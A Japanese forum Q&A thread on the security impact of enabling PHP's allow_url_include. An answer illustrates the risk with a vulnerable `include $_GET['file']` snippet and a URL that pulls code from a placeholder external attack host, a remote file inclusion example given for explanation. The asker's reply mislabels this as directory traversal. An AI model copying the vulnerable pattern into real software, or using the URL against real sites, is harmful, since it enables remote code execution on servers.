<< 月ごとに日数を設定する方法 質問一覧 全角カタカナ判定 >>

  • 300P
allow_url_include

allow_url_includeをONにすると、どのようなセキュリティに影響を及ぼすのでしょうか?

この質問への意見の募集は締め切られ、ポイントは既に配分されました。
意見を投稿することはできますが、ポイントを受け取ることはできません。

Qallow_url_include JJkbs  [08月03日 00時11分] 
┗満開Re:allow_url_include tmogmni  [08月03日 00時53分] 
  ┗Re[2]: JJkbs  [08月26日 06時07分] 

コメント一覧

並び替え( ツリー順 / 投稿順[降順] / 投稿順[昇順]

Re:allow_url_include

マニュアルを見るとphp6から設定可能とのことなので試していませんが、
 
<?php
 include $_GET['file'];
?>
 
とかいうinclude.phpがあった場合、 
http://www.example.com/include.php?file=http://どこか外部サイトの/攻撃用.txt
とすることで、include.phpは
 
<?php
 include 'http://どこか外部サイトの/攻撃用.txt';
?>
 
となり、攻撃用.txtが読み込まれてしまうと思います。

Re[2]:

ご回答ありがとうございました。
ディレクトリトラバーサルの危険性が増す訳ですね。

それと、ちょっと調べたのですがこれってallow_url_fopenのinclude/requireを別にしたものなんですね。
月ごとに日数を設定する方法 質問一覧 全角カタカナ判定